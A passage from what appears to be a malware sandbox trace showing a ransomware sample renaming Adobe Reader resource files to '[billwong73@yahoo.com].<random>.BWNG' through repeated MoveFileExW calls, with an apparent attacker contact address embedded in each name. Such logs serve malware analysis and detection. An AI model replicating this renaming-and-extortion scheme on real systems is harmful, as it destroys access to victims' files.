lpPerformanceCount=0x37cfe3c*=24361398141) returned 1 [0101.662] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\lav.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\lav.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].TEjTvvQM-6zzCxZTX.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].tejtvvqm-6zzcxztx.bwng"), dwFlags=0x1) returned 1 [0101.664] GetTickCount () returned 0x116121b [0101.664] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24361576622) returned 1 [0101.664] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\nrw32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\nrw32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].98OsklSB-zcYLDTx1.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].98osklsb-zcyldtx1.bwng"), dwFlags=0x1) returned 1 [0101.665] GetTickCount () returned 0x116121b [0101.665] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24361730965) returned 1 [0101.665] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\pol32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\pol32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].zkE9t4uB-U3UdyGpU.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].zke9t4ub-u3udygpu.bwng"), dwFlags=0x1) returned 1 [0101.667] GetTickCount () returned 0x116122a [0101.667] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24361896373) returned 1 [0101.667] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\rus.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\rus.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].SqmAtzyY-8FfUgO1d.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].sqmatzyy-8ffugo1d.bwng"), dwFlags=0x1) returned 1 [0101.668] GetTickCount () returned 0x116122a [0101.668] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24362035473) returned 1 [0101.668] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\slo113.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\slo113.hsp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].gC6CpsC5-vyZk5WGZ.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].gc6cpsc5-vyzk5wgz.bwng"), dwFlags=0x1) returned 1 [0101.670] GetTickCount () returned 0x116122a [0101.670] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24362179684) returned 1 [0101.670] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi_FI.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fi_fi.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].uftRjIBo-UiAXbAsS.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].uftrjibo-uiaxbass.bwng"), dwFlags=0x1) returned 1 [0101.671] GetTickCount () returned 0x116122a [0101.671] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24362326079) returned 1 [0101.671] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hu_HU.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hu_hu.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].Ac1zrv9S-UTLXVvvy.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].ac1zrv9s-utlxvvvy.bwng"), dwFlags=0x1) returned 1 [0101.673] GetTickCount () returned 0x116122a [0101.673] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24362484611) returned 1 [0101.673] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lt.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lt.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].DDG0N29c-IHR3kSYV.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].ddg0n29c-ihr3ksyv.bwng"), dwFlags=0x1) returned 1 [0101.674] GetTickCount () returned 0x116122a [0101.674] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24362625195) returned 1 [0101.674] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_NL_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_nl_preeuro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].RP2im817-0NrYq0MP.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].rp2im817-0nryq0mp.bwng"), dwFlags=0x1) returned 1 [0101.675] GetTickCount () returned 0x116122a [0101.675] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24362760891) returned 1 [0101.676] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru_RU.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru_ru.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].rdz1xroo-XpWwgOQo.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].rdz1xroo-xpwwgoqo.bwng"), dwFlags=0x1) returned 1 [0101.677] GetTickCount () returned 0x116122a [0101.677] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24362890604) returned 1 [0101.677] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.tr_TR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.tr_tr.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].pQyJkQUB-qbu0iI52.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].pqyjkqub-qbu0ii52.bwng"), dwFlags=0x1) returned 1 [0101.678] GetTickCount () returned 0x116122a [0101.678] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24363025082) returned 1 [0101.678] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].G3P9yXnP-dSfJYT7F.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].g3p9yxnp-dsfjyt7f.bwng"), dwFlags=0x1) returned 1 [0101.684] GetTickCount () returned 0x116123a [0101.684] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24363590391) returned 1 [0101.684] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\brt.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\brt.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].8zg027yw-0wL9Il2F.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].8zg027yw-0wl9il2f.bwng"), dwFlags=0x1) returned 1 [0101.685] GetTickCount () returned 0x116123a [0101.685] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24363726296) returned 1 [0101.685] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.tr.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.tr.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].ZKn4yBop-dzltY2OV.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].zkn4ybop-dzlty2ov.bwng"), dwFlags=0x1) returned 1 [0101.686] GetTickCount () returned 0x116123a [0101.686] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24363859235) returned 1 [0101.687] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\bul32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\bul32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].P1yvYVOw-aVYVoJGO.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].p1yvyvow-avyvojgo.bwng"), dwFlags=0x1) returned 1 [0101.688] GetTickCount () returned 0x116123a [0101.688] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24364019938) returned 1 [0101.688] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\brt.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\brt.fca"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].XOeqBg0H-BRTB5xPQ.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].xoeqbg0h-brtb5xpq.bwng"), dwFlags=0x1) returned 1 [0101.838] GetTickCount () returned 0x11612d6 [0101.838] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24379040470) returned 1 [0101.839] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\cfr68.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\cfr68.hsp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].5CuclBzw-2e9IfpPc.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].5cuclbzw-2e9ifppc.bwng"), dwFlags=0x1) returned 1 [0101.840] GetTickCount () returned 0x11612d6 [0101.840] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24379199255) returned 1 [0101.840] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\bul120.lex" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\bul120.lex"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].PWycZVhx-xyWwIXNb.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].pwyczvhx-xywwixnb.bwng"), dwFlags=0x1) returned 1 [0101.841] GetTickCount () returned 0x11612d6 [0101.841] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24379341669) returned 1 [0101.841] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\dan.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\dan.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].XKmJUFqV-VzTComMz.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].xkmjufqv-vztcommz.bwng"), dwFlags=0x1) returned 1 [0101.843] GetTickCount () returned 0x11612d6 [0101.843] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24379478957) returned 1 [0101.843] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\cfr32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\cfr32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].Xd0RYjAb-5te3oFB9.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].xd0ryjab-5te3ofb9.bwng"), dwFlags=0x1) returned 1 [0101.844] GetTickCount () returned 0x11612d6 [0101.844] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24379590159) returned 1 [0101.844] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\eng.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\eng.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].Nsa8TM2q-JBDE22CI.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].nsa8tm2q-jbde22ci.bwng"), dwFlags=0x1) returned 1 [0101.845] GetTickCount () returned 0x11612d6 [0101.845] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24379738066) returned 1 [0101.845] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\finphon.env" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\finphon.env"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].YX3TEgxU-Mtx99md3.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].yx3tegxu-mtx99md3.bwng"), dwFlags=0x1) returned 1 [0101.846] GetTickCount () returned 0x11612d6 [0101.846] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24379874147) returned 1 [0101.847] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\grm.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\grm.fca"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].qgIG2g46-leFjqplu.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].qgig2g46-lefjqplu.bwng"), dwFlags=0x1) returned 1 [0101.848] GetTickCount () returned 0x11612d6 [0101.848] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24380010535) returned 1 [0101.848] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\cze32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\cze32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].3lVathJK-yGNKW0jW.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].3lvathjk-ygnkw0jw.bwng"), dwFlags=0x1) returned 1 [0101.849] GetTickCount () returned 0x11612d6 [0101.849] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24380340021) returned 1 [0102.131] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\IA32.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\ia32.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\[billwong73@yahoo.com].5J7eremL-WokirzBz.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\[billwong73@yahoo.com].5j7ereml-wokirzbz.bwng"), dwFlags=0x1) returned 1 [0102.133] GetTickCount () returned 0x11613ef [0102.133] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24408504068) returned 1 [0102.133] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\dut57.ths" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\dut57.ths"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].K8h84khw-BejAThr1.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].k8h84khw-bejathr1.bwng"), dwFlags=0x1) returned 1 [0102.136] GetTickCount () returned 0x11613fe [0102.136] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24408829766) returned 1 [0102.136] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\fin49.lex" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\fin49.lex"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].lNBhwZTB-AoHwKRz9.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].lnbhwztb-aohwkrz9.bwng"), dwFlags=0x1) returned 1 [0102.137] GetTickCount () returned 0x11613fe [0102.138] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24408974326) returned 1 [0102.138] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\SendMail.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\sendmail.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\[billwong73@yahoo.com].3r4pwpgl-BKLdrFjG.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\[billwong73@yahoo.com].3r4pwpgl-bkldrfjg.bwng"), dwFlags=0x1) returned 1 [0102.139] GetTickCount () returned 0x11613fe [0102.139] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24409100298) returned 1 [0102.139] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\gre32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\gre32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].WuHCNwyW-gMQcRTqL.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].wuhcnwyw-gmqcrtql.bwng"), dwFlags=0x1) returned 1 [0102.140] GetTickCount () returned 0x11613fe [0102.140] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24409230031) returned 1 [0102.140] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\BRdlang32.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\brdlang32.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\[billwong73@yahoo.com].KZYEQaDm-xgsMQfZR.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\[billwong73@yahoo.com].kzyeqadm-xgsmqfzr.bwng"), dwFlags=0x1) returned 1 [0102.141] GetTickCount () returned 0x11613fe [0102.141] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24409370124) returned 1 [0102.142] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\hrv.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\hrv.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].h5nN6ta1-HdOkMzlf.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].h5nn6ta1-hdokmzlf.bwng"), dwFlags=0x1) returned 1 [0102.143] GetTickCount () returned 0x11613fe [0102.143] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24409487616) returned 1 [0102.143] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\PPKLITE.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\ppklite.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\[billwong73@yahoo.com].yAyBjxNR-oMeXEqEt.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\[billwong73@yahoo.com].yaybjxnr-omexeqet.bwng"), dwFlags=0x1) returned 1 [0102.144] GetTickCount () returned 0x11613fe [0102.144] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24409615965) returned 1 [0102.144] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\updater.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\updater.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\[billwong73@yahoo.com].cxjGfVTR-nZ46jqtM.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\[billwong73@yahoo.com].cxjgfvtr-nz46jqtm.bwng"), dwFlags=0x1) returned 1 [0102.145] GetTickCount () returned 0x11613fe [0102.145] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24409785442) returned 1 [0102.146] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\eBook.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\ebook.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\[billwong73@yahoo.com].u3LqQ75w-zytDSqwF.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\[billwong73@yahoo.com].u3lqq75w-zytdsqwf.bwng"), dwFlags=0x1) returned 1 [0102.147] GetTickCount () returned 0x11613fe [0102.147] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24409928684) returned 1 [0102.147] MoveFileExW (lpExistingFileName="C:\\Program Files 